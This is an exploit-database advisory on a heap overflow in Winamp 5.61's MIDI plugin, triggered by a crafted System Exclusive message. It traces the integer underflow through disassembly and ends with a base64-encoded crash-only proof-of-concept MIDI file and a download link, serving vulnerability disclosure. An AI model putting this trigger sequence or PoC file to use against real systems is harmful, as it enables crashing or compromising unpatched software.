Winamp 5.61 - 'in_midi' Component heap Overflow (crash only)

EDB-ID:

17287

CVE:





Platform:

Windows

Date:

2011-05-15


# Exploit Title: Winamp 'in_midi' component heap overflow
# Date: 05/14/2011
# Author: Alexander Gavrun (http://0x1byte.blogspot.com/)
# Software Link: http://www.winamp.com/
# Version: 5.61
# Tested on: Windows 7

Vulnerability occur while parsing midi file with special crafted System Exclusive message type (event).

System exclusive message type, according with midi specification (http://www.gweep.net/~prefect/eng/reference/protocol/midispec.html), begins with 0xF0 and ends with 0xF7 byte (after the data bytes). Processing of this message type begins in sub_766410F function (dissasembled in_midi.dll of winamp v.5.61).

; .....
.text:0766414D loc_766414D:                            ; CODE XREF: sub_766410F+36 j
.text:0766414D                 add     ebx, eax
.text:0766414F                 lea     esi, [ebx+edi]
.text:07664152                 mov     al, [esi]  ; esi points to message begin
.text:07664154                 mov     [ebp+var_C], ebx
.text:07664157                 cmp     al, 0FFh   ; is first byte equal to 0xFF?
.text:07664159                 jnz     loc_7664328
; .....

.text:07664328 loc_7664328:                            ; CODE XREF: sub_766410F+4A j
.text:07664328                 mov     edx, 0F0h
.text:0766432D                 mov     cl, al
.text:0766432F                 and     cl, dl
.text:07664331                 cmp     cl, dl
.text:07664333                 jnz     short loc_7664398  
.text:07664335                 cmp     al, dl
.text:07664337                 jnz     short loc_766438E ; is first byte equal 0xF0 (is SysEx message type?)?
.text:07664339                 mov     eax, [ebp+arg_8]
.text:0766433C                 mov     edi, [ebp+var_8]
.text:0766433F                 sub     eax, ebx
.text:07664341                 push    eax
.text:07664342                 mov     ecx, esi
.text:07664344                 mov     [ebp+var_10], edi
.text:07664347                 call    sub_766D702
.text:0766434C                 pop     ecx
.text:0766434D                 mov     ecx, [ebp+arg_10]
.text:07664350                 add     edi, ecx
.text:07664352                 push    edi
.text:07664353                 push    eax ; SysEx message size, calculated by sub_766D702
.text:07664354                 push    esi
.text:07664355                 mov     esi, [ebp+arg_0]
.text:07664358                 mov     edi, [esi+30h]
.text:0766435B                 mov     [ebp+var_24], eax
.text:0766435E                 call    sub_766D894

sub_766D702 function search for 0xF7 byte and count a size of SysEx message. Searching starts from 3rd byte and it means that minimal value, which function might return is 3.

; .....
.text:0766D702 sub_766D702     proc near   

.text:0766D702                 push    ebp
.text:0766D703                 mov     ebp, esp
.text:0766D705                 xor     eax, eax
.text:0766D707                 inc     eax     ; eax = 1
.text:0766D708                 cmp     [ebp+arg_0], eax ; arg_0 - MTrk chunk size (readed from midi file)
.text:0766D70B                 jle     short loc_766D719 ; jump is not taken
.text:0766D70D
.text:0766D70D loc_766D70D:                            ; CODE XREF: sub_766D702+15 j
.text:0766D70D                 inc     eax     ; eax = 2
.text:0766D70E                 cmp     byte ptr [eax+ecx], 0F7h ; check for 0xF7 byte
.text:0766D712                 jz      short loc_766D731
.text:0766D714                 cmp     eax, [ebp+arg_0]
.text:0766D717                 jl      short loc_766D70D
; .....
.text:0766D731 loc_766D731:                            ; CODE XREF: sub_766D702+10 j
.text:0766D731                 inc     eax ; eax = 3 (minimal value that this function might return)
.text:0766D732                 pop     ebp
.text:0766D733                 retn
; .....

In sub_766D894 check the size of early allocated buffer and reallocate it, if necessary. Then to this buffer copy data of the SysEx message with size obtained by subtraction of offset (to data begin) from SysEx message size.

.text:0766D894 sub_766D894     proc near               ; CODE XREF: sub_766410F+24F p
.text:0766D894
; .....
.text:0766D8DC loc_766D8DC:                            ; CODE XREF: sub_766D894+29 j
.text:0766D8DC                 mov     eax, [edi]
.text:0766D8DE                 push    ebx
.text:0766D8DF                 mov     ebx, [edi+14h]
.text:0766D8E2                 add     ebx, [ebp+arg_4]
.text:0766D8E5                 cmp     ebx, eax  ; ebx - SysEx massage size, eax - allocated earlier buffer size
.text:0766D8E7                 jb      short loc_766D900  ; jump is taken (to trigger vuln. SysEx message size must be small).
; .....
.text:0766D900 loc_766D900:                            ; CODE XREF: sub_766D894+53 j
.text:0766D900                 mov     eax, [edi+14h]
.text:0766D903                 mov     ecx, [edi+0Ch]
.text:0766D906                 mov     byte ptr [eax+ecx], 0F0h
.text:0766D90A                 mov     eax, [ebp+arg_0]
.text:0766D90D                 inc     eax
.text:0766D90E                 push    0FFFFFFFFh
.text:0766D910                 push    eax  ; eax - pointer to start of SysEx message plus one
.text:0766D911                 lea     esi, [ebp+var_4]
.text:0766D914                 call    sub_766D734
; .....

sub_766D734 function calculates offset to data begins by passing all negative values follow by first byte (0xF0).

.text:0766D734 sub_766D734     proc near             
; .....
.text:0766D734                 xor     eax, eax
.text:0766D736                 xor     ecx, ecx
.text:0766D738                 push    edi
.text:0766D739
.text:0766D739 loc_766D739:                            ; CODE XREF: sub_766D734+20 j
.text:0766D739                 cmp     eax, [esp+4+arg_4] ; arg_4 = 0xFFFFFFFF, eax = 0
.text:0766D73D                 jnb     short loc_766D75A ; jump is not taken
.text:0766D73F                 mov     edx, [esp+4+arg_0]
.text:0766D743                 mov     dl, [eax+edx]  ; store byte to dl
.text:0766D746                 movzx   edi, dl
.text:0766D749                 and     edi, 7Fh
.text:0766D74C                 shl     ecx, 7
.text:0766D74F                 inc     eax   ; counter
.text:0766D750                 or      ecx, edi
.text:0766D752                 test    dl, dl
.text:0766D754                 js      short loc_766D739 ; is stored byte less zero?
.text:0766D756                 mov     [esi], ecx
.text:0766D758                 pop     edi
.text:0766D759                 retn
.text:0766D75A ; ---------------------------------------------------------------------------
.text:0766D75A
.text:0766D75A loc_766D75A:                            ; CODE XREF: sub_766D734+9 j
.text:0766D75A                 and     dword ptr [esi], 0
.text:0766D75D                 pop     edi
.text:0766D75E                 retn
.text:0766D75E sub_766D734     endp

Then value, obtained as [SysEx message size] - [offset to data begin] - 1, passed as a Size argument to memcpy function.

; .....
.text:0766D919                 mov     esi, [ebp+arg_4]
.text:0766D91C                 sub     esi, eax
.text:0766D91E                 lea     ecx, [esi-1]  ; ecx = size - offset - 1
.text:0766D921                 push    ecx             ; Size
.text:0766D922                 mov     ecx, [ebp+arg_0]
.text:0766D925                 mov     [ebp+var_4], eax
.text:0766D928                 lea     eax, [eax+ecx+1]
.text:0766D92C                 mov     ecx, [edi+0Ch]
.text:0766D92F                 push    eax             ; Src
.text:0766D930                 mov     eax, [edi+14h]
.text:0766D933                 lea     eax, [eax+ecx+1]
.text:0766D937                 push    eax             ; Dst
.text:0766D938                 call    memcpy

Since 0xF7 less than zero, we can construct SysEx message so that offset will be greater (or equal) than size.
For an example, the following sequence

0xF0 0xFF 0xF7 0xFF 0xFF ...[data]
size = 3 and offset = 4
ecx = 3 - 4 - 1 = 0xFFFFFFFE - very big positive value. After all heap overflow will be occur.


POC file (MIME encoded):
poc.mid begin
TVRoZAAAAAYAAQAQAeBNVHJrAAAAIgDw//f///////9VVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQ==

POC Available: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17287.poc.mid